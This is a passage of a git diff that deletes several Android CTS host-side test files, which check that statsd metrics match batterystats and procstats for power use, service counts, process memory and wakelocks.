-import com.android.os.AtomsProto.DeviceCalculatedPowerBlameUid;
-import com.android.os.StatsLog.DimensionsValue;
-import com.android.os.StatsLog.CountMetricData;
-import com.android.tradefed.log.LogUtil;
-import com.android.tradefed.log.LogUtil.CLog;
-
-import java.util.List;
-
-/**
- * Side-by-side comparison between statsd and batterystats.
- */
-public class BatteryStatsValidationTests extends DeviceAtomTestCase {
-
-    private static final String TAG = "Statsd.BatteryStatsValidationTests";
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        resetBatteryStatus();
-        unplugDevice();
-    }
-
-    @Override
-    protected void tearDown() throws Exception {
-        plugInUsb();
-        super.tearDown();
-    }
-
-    /*
-    public void testConnectivityStateChange() throws Exception {
-        if (!hasFeature(FEATURE_WIFI, true)) return;
-        if (!hasFeature(FEATURE_WATCH, false)) return;
-        if (!hasFeature(FEATURE_LEANBACK_ONLY, false)) return;
-        final String fileName = "BATTERYSTATS_CONNECTIVITY_STATE_CHANGE_COUNT.pbtxt";
-        StatsdConfig config = createValidationUtil().getConfig(fileName);
-        LogUtil.CLog.d("Updating the following config:\n" + config.toString());
-        uploadConfig(config);
-
-        Thread.sleep(WAIT_TIME_SHORT);
-
-        turnOnAirplaneMode();
-        turnOffAirplaneMode();
-        // wait for long enough for device to restore connection
-        Thread.sleep(13_000);
-
-        BatteryStatsProto batterystatsProto = getBatteryStatsProto();
-        List<CountMetricData> countMetricData = getCountMetricDataList();
-        assertThat(countMetricData).hasSize(1);
-        assertThat(countMetricData.get(0).getBucketInfoCount()).isEqualTo(1);
-        assertThat(countMetricData.get(0).getBucketInfo(0).getCount()).isAtLeast(2L);
-        assertThat(countMetricData.get(0).getBucketInfo(0).getCount()).isEqualTo(
-                (long) batterystatsProto.getSystem().getMisc().getNumConnectivityChanges());
-    }
-    */
-
-    public void testPowerUse() throws Exception {
-        if (!hasFeature(FEATURE_LEANBACK_ONLY, false)) return;
-        resetBatteryStats();
-        unplugDevice();
-
-        final double ALLOWED_FRACTIONAL_DIFFERENCE = 0.7; // ratio that statsd and bs can differ
-
-        StatsdConfig.Builder config = createConfigBuilder();
-        addGaugeAtomWithDimensions(config, Atom.DEVICE_CALCULATED_POWER_USE_FIELD_NUMBER, null);
-        uploadConfig(config);
-        unplugDevice();
-
-        Thread.sleep(WAIT_TIME_LONG);
-        runDeviceTests(DEVICE_SIDE_TEST_PACKAGE, ".AtomTests", "testSimpleCpu");
-        Thread.sleep(WAIT_TIME_LONG);
-
-        setAppBreadcrumbPredicate();
-        BatteryStatsProto batterystatsProto = getBatteryStatsProto();
-        Thread.sleep(WAIT_TIME_LONG);
-        List<Atom> atomList = getGaugeMetricDataList();
-
-        // Extract statsd data
-        Atom atom = atomList.get(0);
-        long statsdPowerNas = atom.getDeviceCalculatedPowerUse().getComputedPowerNanoAmpSecs();
-        assertThat(statsdPowerNas).isGreaterThan(0L);
-
-        // Extract BatteryStats data
-        double bsPowerNas = batterystatsProto.getSystem().getPowerUseSummary().getComputedPowerMah()
-                * 1_000_000L * 3600L; /* mAh to nAs */
-        assertThat(bsPowerNas).isGreaterThan(0d);
-
-        assertThat((double) statsdPowerNas)
-                .isGreaterThan(ALLOWED_FRACTIONAL_DIFFERENCE * bsPowerNas);
-        assertThat(bsPowerNas).isGreaterThan(ALLOWED_FRACTIONAL_DIFFERENCE * statsdPowerNas);
-    }
-
-    public void testServiceStartCount() throws Exception {
-        final String fileName = "BATTERYSTATS_SERVICE_START_COUNT.pbtxt";
-        StatsdConfig config = createValidationUtil().getConfig(fileName);
-        LogUtil.CLog.d("Updating the following config:\n" + config.toString());
-        uploadConfig(config);
-
-        Thread.sleep(WAIT_TIME_SHORT);
-
-        runDeviceTests(DEVICE_SIDE_TEST_PACKAGE, ".AtomTests", "testForegroundService");
-
-        BatteryStatsProto batterystatsProto = getBatteryStatsProto();
-        List<CountMetricData> countMetricData = getCountMetricDataList();
-        assertThat(countMetricData).isNotEmpty();
-        int uid = getUid();
-        long countFromStatsd = 0;
-        for (CountMetricData data : countMetricData) {
-            List<DimensionsValue> dims = data.getDimensionLeafValuesInWhatList();
-            if (dims.get(0).getValueInt() == uid) {
-                assertThat(dims.get(1).getValueStr()).isEqualTo(DEVICE_SIDE_TEST_PACKAGE);
-                assertThat(dims.get(2).getValueStr())
-                        .isEqualTo(DEVICE_SIDE_TEST_FOREGROUND_SERVICE_NAME);
-                countFromStatsd = data.getBucketInfo(0).getCount();
-                assertThat(countFromStatsd).isGreaterThan(0L);
-            }
-        }
-        long countFromBS = 0;
-        for (UidProto uidProto : batterystatsProto.getUidsList()) {
-            if (uidProto.getUid() == uid) {
-                for (Package pkg : uidProto.getPackagesList()) {
-                    if (pkg.getName().equals(DEVICE_SIDE_TEST_PACKAGE)) {
-                        for (Service svc : pkg.getServicesList()) {
-                            if (svc.getName().equals(DEVICE_SIDE_TEST_FOREGROUND_SERVICE_NAME)) {
-                                countFromBS = svc.getStartCount();
-                                assertThat(countFromBS).isGreaterThan(0L);
-                            }
-                        }
-                    }
-                }
-            }
-        }
-        assertThat(countFromStatsd).isGreaterThan(0L);
-        assertThat(countFromBS).isGreaterThan(0L);
-        assertThat(countFromBS).isEqualTo(countFromStatsd);
-    }
-
-    public void testServiceLaunchCount() throws Exception {
-        final String fileName = "BATTERYSTATS_SERVICE_LAUNCH_COUNT.pbtxt";
-        StatsdConfig config = createValidationUtil().getConfig(fileName);
-        LogUtil.CLog.d("Updating the following config:\n" + config.toString());
-        uploadConfig(config);
-
-        Thread.sleep(WAIT_TIME_SHORT);
-
-        runDeviceTests(DEVICE_SIDE_TEST_PACKAGE, ".AtomTests", "testForegroundService");
-
-        BatteryStatsProto batterystatsProto = getBatteryStatsProto();
-        List<CountMetricData> countMetricData = getCountMetricDataList();
-        assertThat(countMetricData).isNotEmpty();
-        int uid = getUid();
-        long countFromStatsd = 0;
-        for (CountMetricData data : countMetricData) {
-            List<DimensionsValue> dims = data.getDimensionLeafValuesInWhatList();
-            if (dims.get(0).getValueInt() == uid) {
-                assertThat(dims.get(1).getValueStr()).isEqualTo(DEVICE_SIDE_TEST_PACKAGE);
-                assertThat(dims.get(2).getValueStr())
-                        .isEqualTo(DEVICE_SIDE_TEST_FOREGROUND_SERVICE_NAME);
-                countFromStatsd = data.getBucketInfo(0).getCount();
-                assertThat(countFromStatsd).isGreaterThan(0L);
-            }
-        }
-        long countFromBS = 0;
-        for (UidProto uidProto : batterystatsProto.getUidsList()) {
-            if (uidProto.getUid() == uid) {
-                for (Package pkg : uidProto.getPackagesList()) {
-                    if (pkg.getName().equals(DEVICE_SIDE_TEST_PACKAGE)) {
-                        for (Service svc : pkg.getServicesList()) {
-                            if (svc.getName().equals(DEVICE_SIDE_TEST_FOREGROUND_SERVICE_NAME)) {
-                                countFromBS = svc.getLaunchCount();
-                                assertThat(countFromBS).isGreaterThan(0L);
-                            }
-                        }
-                    }
-                }
-            }
-        }
-        assertThat(countFromStatsd).isGreaterThan(0L);
-        assertThat(countFromBS).isGreaterThan(0L);
-        assertThat(countFromBS).isEqualTo(countFromStatsd);
-    }
-}
diff --git a/hostsidetests/statsd/src/android/cts/statsd/validation/DirectoryValidationTest.java b/hostsidetests/statsd/src/android/cts/statsd/validation/DirectoryValidationTest.java
deleted file mode 100644
index 37ded0b..0000000
--- a/hostsidetests/statsd/src/android/cts/statsd/validation/DirectoryValidationTest.java
+++ /dev/null
@@ -1,34 +0,0 @@
-package android.cts.statsd.validation;
-
-import android.cts.statsd.atom.DeviceAtomTestCase;
-
-/**
- * Tests Suite for directories used by Statsd.
- */
-public class DirectoryValidationTest extends DeviceAtomTestCase {
-
-    public void testStatsActiveMetricDirectoryExists() throws Exception {
-        runDeviceTests(DEVICE_SIDE_TEST_PACKAGE,
-                ".DirectoryTests", "testStatsActiveMetricDirectoryExists");
-    }
-
-    public void testStatsDataDirectoryExists() throws Exception {
-        runDeviceTests(DEVICE_SIDE_TEST_PACKAGE,
-                ".DirectoryTests", "testStatsDataDirectoryExists");
-    }
-
-    public void testStatsMetadataDirectoryExists() throws Exception {
-        runDeviceTests(DEVICE_SIDE_TEST_PACKAGE,
-                ".DirectoryTests", "testStatsMetadataDirectoryExists");
-    }
-
-    public void testStatsServiceDirectoryExists() throws Exception {
-        runDeviceTests(DEVICE_SIDE_TEST_PACKAGE,
-                ".DirectoryTests", "testStatsServiceDirectoryExists");
-    }
-
-    public void testTrainInfoDirectoryExists() throws Exception {
-        runDeviceTests(DEVICE_SIDE_TEST_PACKAGE,
-                ".DirectoryTests", "testTrainInfoDirectoryExists");
-    }
-}
diff --git a/hostsidetests/statsd/src/android/cts/statsd/validation/ProcStatsValidationTests.java b/hostsidetests/statsd/src/android/cts/statsd/validation/ProcStatsValidationTests.java
deleted file mode 100644
index 5b42aa9..0000000
--- a/hostsidetests/statsd/src/android/cts/statsd/validation/ProcStatsValidationTests.java
+++ /dev/null
@@ -1,306 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.cts.statsd.validation;
-
-import static com.google.common.truth.Truth.assertThat;
-
-import android.cts.statsd.atom.ProcStateTestCase;
-import android.service.procstats.ProcessState;
-import android.service.procstats.AggregatedProcessState;
-
-import com.android.internal.os.StatsdConfigProto.StatsdConfig;
-import com.android.os.AtomsProto.Atom;
-import com.android.os.AtomsProto.ProcessStateAggregated;
-import com.android.os.AtomsProto.ProcessStatsPackageProto;
-import com.android.os.AtomsProto.ProcessStatsProto;
-import com.android.os.AtomsProto.ProcessStatsStateProto;
-import com.android.os.StatsLog.DimensionsValue;
-import com.android.os.StatsLog.ValueBucketInfo;
-import com.android.os.StatsLog.ValueMetricData;
-import com.android.tradefed.log.LogUtil;
-
-import java.util.List;
-
-/**
- * Side-by-side comparison between statsd and procstats.
- */
-public class ProcStatsValidationTests extends ProcStateTestCase {
-
-    private static final String TAG = "Statsd.ProcStatsValidationTests";
-
-    private static final int EXTRA_WAIT_TIME_MS = 1_000; // as buffer when proc state changing.
-
-    public void testProcessStatePssValue() throws Exception {
-        final String fileName = "PROCSTATSQ_PROCS_STATE_PSS_VALUE.pbtxt";
-        StatsdConfig config = createValidationUtil().getConfig(fileName);
-        LogUtil.CLog.d("Updating the following config:\n" + config.toString());
-        uploadConfig(config);
-        clearProcStats();
-        toggleScreenAndSleep(WAIT_TIME_SHORT);
-
-        // foreground service
-        executeForegroundService();
-        toggleScreenAndSleep(SLEEP_OF_FOREGROUND_SERVICE + EXTRA_WAIT_TIME_MS);
-        // background
-        executeBackgroundService(ACTION_BACKGROUND_SLEEP);
-        toggleScreenAndSleep(SLEEP_OF_ACTION_BACKGROUND_SLEEP + EXTRA_WAIT_TIME_MS);
-        // top
-        executeForegroundActivity(ACTION_LONG_SLEEP_WHILE_TOP);
-        toggleScreenAndSleep(SLEEP_OF_ACTION_LONG_SLEEP_WHILE_TOP + EXTRA_WAIT_TIME_MS);
-        // Start extremely short-lived activity, so app goes into cache state (#1 - #3 above).
-        executeBackgroundService(ACTION_END_IMMEDIATELY);
-        final int cacheTime = 2_000; // process should be in cached state for up to this long
-        toggleScreenAndSleep(cacheTime);
-        // foreground
-        // overlay should take 2 sec to appear. So this makes it 4 sec in TOP
-        executeForegroundActivity(ACTION_SHOW_APPLICATION_OVERLAY);
-        toggleScreenAndSleep(EXTRA_WAIT_TIME_MS + 5_000);
-
-        // Sorted list of events in order in which they occurred.
-        List<ValueMetricData> statsdData = getValueMetricDataList();
-
-        List<ProcessStatsProto> processStatsProtoList = getProcStatsProto();
-
-        LogUtil.CLog.d("======================");
-
-        String statsdPkgName = "com.android.server.cts.device.statsd";
-        double valueInStatsd = 0;
-        for (ValueMetricData d : statsdData) {
-            List<DimensionsValue> dimensionsValuesInWhat = d.getDimensionLeafValuesInWhatList();
-            if (dimensionsValuesInWhat.get(0).getValueStr().equals(statsdPkgName)
-                    && dimensionsValuesInWhat.get(1).getValueStr().equals(statsdPkgName)) {
-                LogUtil.CLog.d(d.toString());
-                for (ValueBucketInfo bucket : d.getBucketInfoList()) {
-                    valueInStatsd = Math.max(bucket.getValues(0).getValueLong(), valueInStatsd);
-                }
-            }
-        }
-
-        double valueInProcStats = 0;
-        for (ProcessStatsProto p : processStatsProtoList) {
-            if (p.getProcess().equals(statsdPkgName)) {
-                LogUtil.CLog.d(p.toString());
-                for (ProcessStatsStateProto s : p.getStatesList()) {
-                    valueInProcStats = Math.max(s.getPss().getMax(), valueInProcStats);
-                }
-            }
-        }
-        assertThat(valueInProcStats).isGreaterThan(0d);
-        assertThat(valueInStatsd).isWithin(1e-10).of(valueInProcStats);
-    }
-
-    private void toggleScreenAndSleep(final long duration) throws Exception {
-        final long half = duration >> 1;
-        Thread.sleep(half);
-        turnScreenOff();
-        Thread.sleep(half);
-        turnScreenOn();
-    }
-
-    public void testProcessStateByPulling() throws Exception {
-        startProcStatsTesting();
-        clearProcStats();
-        Thread.sleep(WAIT_TIME_SHORT);
-
-        // foreground service
-        executeForegroundService();
-        Thread.sleep(SLEEP_OF_FOREGROUND_SERVICE + EXTRA_WAIT_TIME_MS);
-        // background
-        executeBackgroundService(ACTION_BACKGROUND_SLEEP);
-        Thread.sleep(SLEEP_OF_ACTION_BACKGROUND_SLEEP + EXTRA_WAIT_TIME_MS);
-        // top
-        executeForegroundActivity(ACTION_SLEEP_WHILE_TOP);
-        Thread.sleep(SLEEP_OF_ACTION_SLEEP_WHILE_TOP + EXTRA_WAIT_TIME_MS);
-        // Start extremely short-lived activity, so app goes into cache state (#1 - #3 above).
-        executeBackgroundService(ACTION_END_IMMEDIATELY);
-        final int cacheTime = 2_000; // process should be in cached state for up to this long
-        Thread.sleep(cacheTime);
-        // foreground
-        // overlay should take 2 sec to appear. So this makes it 4 sec in TOP
-        executeForegroundActivity(ACTION_SHOW_APPLICATION_OVERLAY);
-        Thread.sleep(EXTRA_WAIT_TIME_MS + 5_000);
-
-        Thread.sleep(60_000);
-        uninstallPackage();
-        stopProcStatsTesting();
-        commitProcStatsToDisk();
-        Thread.sleep(WAIT_TIME_SHORT);
-
-        final String fileName = "PROCSTATSQ_PULL.pbtxt";
-        StatsdConfig config = createValidationUtil().getConfig(fileName);
-        LogUtil.CLog.d("Updating the following config:\n" + config.toString());
-        uploadConfig(config);
-        Thread.sleep(WAIT_TIME_SHORT);
-        setAppBreadcrumbPredicate();
-        Thread.sleep(WAIT_TIME_SHORT + 5_000);
-
-        List<Atom> statsdData = getGaugeMetricDataList();
-
-        List<android.service.procstats.ProcessStatsProto> processStatsProtoList
-                = getAllProcStatsProtoForStatsd();
-
-        // We pull directly from ProcessStatsService, so not necessary to compare every field.
-        // Make sure that 1. both capture statsd package 2. spot check some values are reasonable
-        LogUtil.CLog.d("======================");
-
-        String statsdPkgName = "com.android.server.cts.device.statsd";
-        long rssAvgStatsd = 0;
-        for (Atom d : statsdData) {
-            for (ProcessStatsProto proc : d.getProcStats().getProcStatsSection().getProcessStatsList()) {
-                if (proc.getProcess().equals(statsdPkgName)) {
-                    LogUtil.CLog.d("Got proto from statsd:");
-                    LogUtil.CLog.d(proc.toString());
-                    for (ProcessStatsStateProto state : proc.getStatesList()) {
-                        if (state.getProcessStateAggregated()
-                                == ProcessStateAggregated.PROCESS_STATE_IMPORTANT_FOREGROUND) {
-                            rssAvgStatsd = state.getRss().getMeanKb();
-                        }
-                    }
-                }
-            }
-        }
-
-        long rssAvgProcstats = 0;
-        for (android.service.procstats.ProcessStatsProto process: processStatsProtoList) {
-            if (process.getProcess().equals(statsdPkgName)) {
-                LogUtil.CLog.d("Got proto from procstats dumpsys:");
-                LogUtil.CLog.d(process.toString());
-                for (android.service.procstats.ProcessStatsStateProto state
-                        : process.getStatesList()) {
-                    if (AggregatedProcessState.AGGREGATED_PROCESS_STATE_IMPORTANT_FOREGROUND
-                            == state.getProcessStateAggregated()) {
-                        rssAvgProcstats = state.getRss().getMeanKb();
-                        break;
-                    }
-                }
-            }
-        }
-
-        assertThat(rssAvgStatsd).isEqualTo(rssAvgProcstats);
-    }
-
-    public void testProcStatsPkgProcStats() throws Exception {
-        /**
-         * Temporarily disable this test as the proc stats data being pulled into the statsd
-         * doesn't include the pkg part now.
-         *
-        startProcStatsTesting();
-        clearProcStats();
-        Thread.sleep(WAIT_TIME_SHORT);
-
-        // foreground service
-        executeForegroundService();
-        Thread.sleep(SLEEP_OF_FOREGROUND_SERVICE + EXTRA_WAIT_TIME_MS);
-        // background
-        executeBackgroundService(ACTION_BACKGROUND_SLEEP);
-        Thread.sleep(SLEEP_OF_ACTION_BACKGROUND_SLEEP + EXTRA_WAIT_TIME_MS);
-        // top
-        executeForegroundActivity(ACTION_SLEEP_WHILE_TOP);
-        Thread.sleep(SLEEP_OF_ACTION_SLEEP_WHILE_TOP + EXTRA_WAIT_TIME_MS);
-        // Start extremely short-lived activity, so app goes into cache state (#1 - #3 above).
-        executeBackgroundService(ACTION_END_IMMEDIATELY);
-        final int cacheTime = 2_000; // process should be in cached state for up to this long
-        Thread.sleep(cacheTime);
-        // foreground
-        // overlay should take 2 sec to appear. So this makes it 4 sec in TOP
-        executeForegroundActivity(ACTION_SHOW_APPLICATION_OVERLAY);
-        Thread.sleep(EXTRA_WAIT_TIME_MS + 5_000);
-
-        Thread.sleep(60_000);
-        uninstallPackage();
-        stopProcStatsTesting();
-        commitProcStatsToDisk();
-        Thread.sleep(WAIT_TIME_SHORT);
-
-        final String fileName = "PROCSTATSQ_PULL_PKG_PROC.pbtxt";
-        StatsdConfig config = createValidationUtil().getConfig(fileName);
-        LogUtil.CLog.d("Updating the following config:\n" + config.toString());
-        uploadConfig(config);
-        Thread.sleep(WAIT_TIME_SHORT);
-        setAppBreadcrumbPredicate();
-        Thread.sleep(WAIT_TIME_SHORT);
-
-        List<Atom> statsdData = getGaugeMetricDataList();
-        assertThat(statsdData).isNotEmpty();
-        assertThat(
-                statsdData.get(0).getProcStatsPkgProc().getProcStatsSection()
-                        .getProcessStatsList()
-        ).isNotEmpty();
-
-        // We pull directly from ProcessStatsService, so not necessary to compare every field.
-        // Make sure that 1. both capture statsd package 2. spot check some values are reasonable
-        LogUtil.CLog.d("======================");
-
-        String statsdPkgName = "com.android.server.cts.device.statsd";
-        long rssAvgStatsd = 0;
-        long durationStatsd = 0;
-        for (Atom d : statsdData) {
-            for (ProcessStatsPackageProto pkg : d.getProcStatsPkgProc().getProcStatsSection().getPackageStatsList()) {
-                if (pkg.getPackage().equals(statsdPkgName)) {
-                    LogUtil.CLog.d("Got proto from statsd:");
-                    LogUtil.CLog.d(pkg.toString());
-                    for (ProcessStatsProto process : pkg.getProcessStatsList()) {
-                        for (ProcessStatsStateProto state : process.getStatesList()) {
-                            if (state.getProcessState()
-                                    == ProcessState.PROCESS_STATE_IMPORTANT_FOREGROUND) {
-                                durationStatsd = state.getDurationMillis();
-                                rssAvgStatsd = state.getRss().getAverage();
-                            }
-                        }
-                    }
-                }
-                assertThat(pkg.getServiceStatsCount()).isEqualTo(0L);
-                assertThat(pkg.getAssociationStatsCount()).isEqualTo(0L);
-            }
-        }
-
-        LogUtil.CLog.d("avg rss from statsd is " + rssAvgStatsd);
-
-        List<ProcessStatsPackageProto> processStatsPackageProtoList = getAllProcStatsProto();
-
-        long pssAvgProcstats = 0;
-        long ussAvgProcstats = 0;
-        long rssAvgProcstats = 0;
-        long durationProcstats = 0;
-        int serviceStatsCount = 0;
-        int associationStatsCount = 0;
-        for (ProcessStatsPackageProto pkg : processStatsPackageProtoList) {
-            if (pkg.getPackage().equals(statsdPkgName)) {
-                LogUtil.CLog.d("Got proto from procstats dumpsys:");
-                LogUtil.CLog.d(pkg.toString());
-                for (ProcessStatsProto process : pkg.getProcessStatsList()) {
-                    for (ProcessStatsStateProto state : process.getStatesList()) {
-                        if (state.getProcessState()
-                                == ProcessState.PROCESS_STATE_IMPORTANT_FOREGROUND) {
-                            durationProcstats = state.getDurationMillis();
-                            pssAvgProcstats = state.getPss().getAverage();
-                            ussAvgProcstats = state.getUss().getAverage();
-                            rssAvgProcstats = state.getRss().getAverage();
-                        }
-                    }
-                }
-            }
-            serviceStatsCount += pkg.getServiceStatsCount();
-            associationStatsCount += pkg.getAssociationStatsCount();
-        }
-        assertThat(serviceStatsCount).isGreaterThan(0);
-        assertThat(associationStatsCount).isGreaterThan(0);
-
-        LogUtil.CLog.d("avg pss from procstats is " + pssAvgProcstats);
-        assertThat(rssAvgStatsd).isEqualTo(rssAvgProcstats);
-        */
-    }
-}
diff --git a/hostsidetests/statsd/src/android/cts/statsd/validation/ValidationTestUtil.java b/hostsidetests/statsd/src/android/cts/statsd/validation/ValidationTestUtil.java
deleted file mode 100644
index d3e5bad..0000000
--- a/hostsidetests/statsd/src/android/cts/statsd/validation/ValidationTestUtil.java
+++ /dev/null
@@ -1,50 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.cts.statsd.validation;
-
-import android.cts.statsd.atom.BaseTestCase;
-
-import com.android.internal.os.StatsdConfigProto.StatsdConfig;
-import com.android.tradefed.log.LogUtil;
-import com.android.tradefed.log.LogUtil.CLog;
-import com.android.tradefed.util.FileUtil;
-
-import com.google.protobuf.TextFormat;
-import com.google.protobuf.TextFormat.ParseException;
-
-import java.io.File;
-import java.io.IOException;
-
-public class ValidationTestUtil extends BaseTestCase {
-
-    private static final String TAG = "Statsd.ValidationTestUtil";
-
-    public StatsdConfig getConfig(String fileName) throws IOException {
-        try {
-            // TODO: Ideally, we should use real metrics that are also pushed to the fleet.
-            File configFile = getBuildHelper().getTestFile(fileName);
-            String configStr = FileUtil.readStringFromFile(configFile);
-            StatsdConfig.Builder builder = StatsdConfig.newBuilder();
-            TextFormat.merge(configStr, builder);
-            return builder.build();
-        } catch (ParseException e) {
-            LogUtil.CLog.e(
-                    "Failed to parse the config! line: " + e.getLine() + " col: " + e.getColumn(),
-                    e);
-        }
-        return null;
-    }
-}
diff --git a/hostsidetests/statsd/src/android/cts/statsd/validation/ValidationTests.java b/hostsidetests/statsd/src/android/cts/statsd/validation/ValidationTests.java
deleted file mode 100644
index 87f6840..0000000
--- a/hostsidetests/statsd/src/android/cts/statsd/validation/ValidationTests.java
+++ /dev/null
@@ -1,676 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.cts.statsd.validation;
-
-import static com.google.common.truth.Truth.assertThat;
-import static com.google.common.truth.Truth.assertWithMessage;
-
-import android.cts.statsd.atom.DeviceAtomTestCase;
-import android.os.BatteryPluggedStateEnum;
-import android.os.BatteryStatsProto;
-import android.os.UidProto;
-import android.os.UidProto.Wakelock;
-import android.os.WakeLockLevelEnum;
-import android.platform.test.annotations.RestrictedBuildTest;
-import android.view.DisplayStateEnum;
-
-import com.android.internal.os.StatsdConfigProto.AtomMatcher;
-import com.android.internal.os.StatsdConfigProto.DurationMetric;
-import com.android.internal.os.StatsdConfigProto.FieldMatcher;
-import com.android.internal.os.StatsdConfigProto.FieldValueMatcher;
-import com.android.internal.os.StatsdConfigProto.LogicalOperation;
-import com.android.internal.os.StatsdConfigProto.Position;
-import com.android.internal.os.StatsdConfigProto.Predicate;
-import com.android.internal.os.StatsdConfigProto.SimpleAtomMatcher;
-import com.android.internal.os.StatsdConfigProto.SimplePredicate;
-import com.android.internal.os.StatsdConfigProto.StatsdConfig;
-import com.android.internal.os.StatsdConfigProto.TimeUnit;
-import com.android.os.AtomsProto.Atom;
-import com.android.os.AtomsProto.PluggedStateChanged;
-import com.android.os.AtomsProto.ScreenStateChanged;
-import com.android.os.AtomsProto.WakelockStateChanged;
-import com.android.os.StatsLog.DimensionsValue;
-import com.android.os.StatsLog.DurationBucketInfo;
-import com.android.os.StatsLog.DurationMetricData;
-import com.android.os.StatsLog.EventMetricData;
-import com.android.os.StatsLog.StatsLogReport;
-import com.android.tradefed.log.LogUtil.CLog;
-
-import com.google.common.collect.Range;
-
-import java.util.Arrays;
-import java.util.HashMap;
-import java.util.HashSet;
-import java.util.List;
-import java.util.Set;
-
-/**
- * Side-by-side comparison between statsd and batterystats.
- */
-public class ValidationTests extends DeviceAtomTestCase {
-
-    private static final String TAG = "Statsd.ValidationTests";
-    private static final String FEATURE_AUTOMOTIVE = "android.hardware.type.automotive";
-    private static final boolean ENABLE_LOAD_TEST = false;
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-    }
-
-    @Override
-    protected void tearDown() throws Exception {
-        resetBatteryStatus(); // Undo any unplugDevice().
-        turnScreenOn(); // Reset screen to on state
-        super.tearDown();
-    }
-
-    public void testPartialWakelock() throws Exception {
-        if (!hasFeature(FEATURE_AUTOMOTIVE, false)) return;
-        resetBatteryStats();
-        unplugDevice();
-        // AoD needs to be turned off because the screen should go into an off state. But, if AoD is
-        // on and the device doesn't support STATE_DOZE, the screen sadly goes back to STATE_ON.
-        String aodState = getAodState();
-        setAodState("0");
-        turnScreenOff();
-
-        final int atomTag = Atom.WAKELOCK_STATE_CHANGED_FIELD_NUMBER;
-        Set<Integer> wakelockOn = new HashSet<>(Arrays.asList(
-                WakelockStateChanged.State.ACQUIRE_VALUE,
-                WakelockStateChanged.State.CHANGE_ACQUIRE_VALUE));
-        Set<Integer> wakelockOff = new HashSet<>(Arrays.asList(
-                WakelockStateChanged.State.RELEASE_VALUE,
-                WakelockStateChanged.State.CHANGE_RELEASE_VALUE));
-
-        final String EXPECTED_TAG = "StatsdPartialWakelock";
-        final WakeLockLevelEnum EXPECTED_LEVEL = WakeLockLevelEnum.PARTIAL_WAKE_LOCK;
-
-        // Add state sets to the list in order.
-        List<Set<Integer>> stateSet = Arrays.asList(wakelockOn, wakelockOff);
-
-        createAndUploadConfig(atomTag, true);  // True: uses attribution.
-        runDeviceTests(DEVICE_SIDE_TEST_PACKAGE, ".AtomTests", "testWakelockState");
-
-        // Sorted list of events in order in which they occurred.
-        List<EventMetricData> data = getEventMetricDataList();
-
-        BatteryStatsProto batterystatsProto = getBatteryStatsProto();
-
-        //=================== verify that statsd is correct ===============//
-        // Assert that the events happened in the expected order.
-        assertStatesOccurred(stateSet, data, WAIT_TIME_SHORT,
-                atom -> atom.getWakelockStateChanged().getState().getNumber());
-
-        for (EventMetricData event : data) {
-            String tag = event.getAtom().getWakelockStateChanged().getTag();
-            WakeLockLevelEnum type = event.getAtom().getWakelockStateChanged().getType();
-            assertThat(tag).isEqualTo(EXPECTED_TAG);
-            assertThat(type).isEqualTo(EXPECTED_LEVEL);
-        }
-
-        //=================== verify that batterystats is correct ===============//
-        int uid = getUid();
-        android.os.TimerProto wl =
-                getBatteryStatsPartialWakelock(batterystatsProto, uid, EXPECTED_TAG);
-
-        assertThat(wl).isNotNull();
-        assertThat(wl.getDurationMs()).isGreaterThan(0L);
-        assertThat(wl.getMaxDurationMs()).isIn(Range.closedOpen(400L, 700L));
-        assertThat(wl.getTotalDurationMs()).isIn(Range.closedOpen(400L, 700L));
-
-        setAodState(aodState); // restores AOD to initial state.
-    }
-
-    @RestrictedBuildTest
-    public void testPartialWakelockDuration() throws Exception {
-        if (!hasFeature(FEATURE_AUTOMOTIVE, false)) return;
-
-        // getUid() needs shell command via ADB. turnScreenOff() sometimes let system go to suspend.
-        // ADB disconnection causes failure of getUid(). Move up here before turnScreenOff().
-        final int EXPECTED_UID = getUid();
-
-
-        turnScreenOn(); // To ensure that the ScreenOff later gets logged.
-        // AoD needs to be turned off because the screen should go into an off state. But, if AoD is
-        // on and the device doesn't support STATE_DOZE, the screen sadly goes back to STATE_ON.
-        String aodState = getAodState();
-        setAodState("0");
-        uploadWakelockDurationBatteryStatsConfig(TimeUnit.CTS);
-        Thread.sleep(WAIT_TIME_SHORT);
-        resetBatteryStats();
-        unplugDevice();
-        turnScreenOff();
-
-        Thread.sleep(WAIT_TIME_SHORT);
-
-        runDeviceTests(DEVICE_SIDE_TEST_PACKAGE, ".AtomTests", "testWakelockState");
-        Thread.sleep(WAIT_TIME_LONG); // Make sure the one second bucket has ended.
-
-
-        final String EXPECTED_TAG = "StatsdPartialWakelock";
-        final long EXPECTED_TAG_HASH = Long.parseUnsignedLong("15814523794762874414");
-        final int MIN_DURATION = 350;
-        final int MAX_DURATION = 700;
-
-        BatteryStatsProto batterystatsProto = getBatteryStatsProto();
-        HashMap<Integer, HashMap<Long, Long>> statsdWakelockData = getStatsdWakelockData();
-
-        // Get the batterystats wakelock time and make sure it's reasonable.
-        android.os.TimerProto bsWakelock =
-                getBatteryStatsPartialWakelock(batterystatsProto, EXPECTED_UID, EXPECTED_TAG);
